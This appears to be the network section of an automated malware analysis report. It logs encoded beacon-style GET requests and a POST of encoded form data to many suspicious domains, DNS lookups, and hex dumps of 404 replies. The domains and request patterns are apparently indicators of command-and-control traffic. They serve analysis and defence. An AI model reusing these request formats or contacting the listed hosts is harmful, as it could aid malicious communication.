Source: global traffic	HTTP traffic detected: GET /edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33wZ0UtxsuR42FNjevCBZMMsNJEJT8RotDqfV3dG69h6TKJk4r6FZf3JTIotB8t00dC+KIgA==&3hkl=slNhbLXpBjO8vl HTTP/1.1Host: www.transelva.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8urb/?3hkl=slNhbLXpBjO8vl&4dV43tA=+Wbbbk7eLFmMNhAmT0HXUc8arE4mAIhp5z7AS+/8DqhgdhWyAH0zoQfcqO3QhsAMO97HQEWUjr1A2ySQn1zg0/55KGrPENVTP1yAkCUjuBmNS/fntZ3fyi496lnRN2tFRA== HTTP/1.1Host: www.gsdaluan.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /k4dg/?4dV43tA=nz4FHKR3kHD8T7sos5tKkVQRfY182oQFmZOBlJ8PbPlp6eprRQ8g6Bnz+oNd18dyAKSZqsJ9UtPL5lP5nYFy9dCb86j6n0RTbdEdkH9XwmQfMRZVI+dcEtE4XSVBGLRbLA==&3hkl=slNhbLXpBjO8vl HTTP/1.1Host: www.mommysdaycare.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /dy54/?3hkl=slNhbLXpBjO8vl&4dV43tA=nRvBPTzlzGF4n3rt1QttF4nrN+JQ8KTHZyrUcXxxKI8o38P7J7J9FRPNIVc1TZhiGrLUOXxy1Ju1j9DdTlskr3z+VILb9gUTk9d2pc0Ee/hjvnETVBSGl3uD2JlRjMFEvQ== HTTP/1.1Host: www.203av.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vi6c/?4dV43tA=bcf+LDcyoYCm+QyU3/UN8JBlUcMDsPN1iNWsx7umrkQm3W+qfOHyOayxGzxcStXTe9ogwFYflhpGlkCNjFINeirDlZuuOL3Enw+3v27XAzPfiFhmkrPFAnkPRuNZJaNv/Q==&3hkl=slNhbLXpBjO8vl HTTP/1.1Host: www.hydrogenmovie.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /n983/?3hkl=slNhbLXpBjO8vl&4dV43tA=e+5nfbuNDjer0F2gZArKywdTCxWjyYobv/bJcL0KsTg4lVUyb9D57z7xFmyHzStdVmhrGKgxJydatVMh3gIVfbA1nNcelGxUr0Cqn1CeETaIIhfK6rSIprtv6DqA0Tv84A== HTTP/1.1Host: www.atmpla.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2pcd/?4dV43tA=tIH23YAAyU0vk1VwVlLsnDkrzub9KGyrHgMKKMQURaOCIZhbg0Upzh73XSapbsD05fysGFvFeXdkAWPx22YjftjyG2q/7RKdCSWXn7wn/qpIWY7LWJ3oR8OZl3TaORuYDQ==&3hkl=slNhbLXpBjO8vl HTTP/1.1Host: www.europedriveguide.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /irbt/?3hkl=slNhbLXpBjO8vl&4dV43tA=mqJtasd7r+ucb4h/g/ZTmy6JwNbO/v5n7k97Wehkk725AqfiRwLRxT17AJTqC5rNKbn4S3nwUKyYsCTiBBHbxywoRNMYnVscP0z+oucLCcHVoXQNraVEZ5jUDUaptob6FA== HTTP/1.1Host: www.coinmao.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.tcqlk.com
Source: global traffic	DNS traffic detected: DNS query: www.rlplatro.sbs
Source: global traffic	DNS traffic detected: DNS query: www.xsemckm.sbs
Source: global traffic	DNS traffic detected: DNS query: www.b6fbly7u.shop
Source: global traffic	DNS traffic detected: DNS query: www.quantumvoil.xyz
Source: global traffic	DNS traffic detected: DNS query: www.transelva.com
Source: global traffic	DNS traffic detected: DNS query: www.gsdaluan.shop
Source: global traffic	DNS traffic detected: DNS query: www.mommysdaycare.net
Source: global traffic	DNS traffic detected: DNS query: www.203av.com
Source: global traffic	DNS traffic detected: DNS query: www.hydrogenmovie.com
Source: global traffic	DNS traffic detected: DNS query: www.atmpla.net
Source: global traffic	DNS traffic detected: DNS query: www.europedriveguide.com
Source: global traffic	DNS traffic detected: DNS query: www.coinmao.com
Source: global traffic	DNS traffic detected: DNS query: www.genesiestudios.online

Source: unknown

HTTP traffic detected: POST /hpa2/ HTTP/1.1Host: www.rlplatro.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Origin: http://www.rlplatro.sbsCache-Control: no-cacheConnection: closeContent-Length: 208Content-Type: application/x-www-form-urlencodedReferer: http://www.rlplatro.sbs/hpa2/User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Data Raw: 34 64 56 34 33 74 41 3d 77 73 4d 31 33 52 46 68 70 75 4e 42 35 31 78 55 70 59 59 75 42 34 72 48 6f 39 30 48 53 32 69 71 31 61 6d 4d 63 65 4d 4b 7a 34 76 37 65 68 53 57 51 45 51 74 55 36 74 41 76 51 51 78 31 73 35 36 2b 45 42 70 73 49 4d 67 7a 56 47 4b 62 5a 63 4b 47 55 59 45 33 46 44 43 39 69 2f 71 36 53 44 47 71 43 6d 38 4a 56 2b 6b 4d 37 64 64 49 5a 59 42 64 72 45 32 6d 74 50 4d 65 62 39 42 56 6b 45 2b 32 4b 6d 79 75 54 35 4b 34 55 74 39 36 79 61 49 58 32 65 54 36 30 2b 61 32 50 69 71 76 33 6c 42 48 6f 67 76 49 54 48 2f 47 74 51 73 45 78 4e 4c 44 43 7a 7a 73 43 61 31 30 2b 50 61 7a 57 42 79 4e 70 63 49 41 2f 73 3d Data Ascii: 4dV43tA=wsM13RFhpuNB51xUpYYuB4rHo90HS2iq1amMceMKz4v7ehSWQEQtU6tAvQQx1s56+EBpsIMgzVGKbZcKGUYE3FDC9i/q6SDGqCm8JV+kM7ddIZYBdrE2mtPMeb9BVkE+2KmyuT5K4Ut96yaIX2eT60+a2Piqv3lBHogvITH/GtQsExNLDCzzsCa10+PazWByNpcIA/s=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 01 Jul 2024 14:16:06 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 01 Jul 2024 14:16:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 01 Jul 2024 14:16:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 01 Jul 2024 14:16:19 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:00 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:03 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:05 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:08 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:13 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:16 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:18 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: 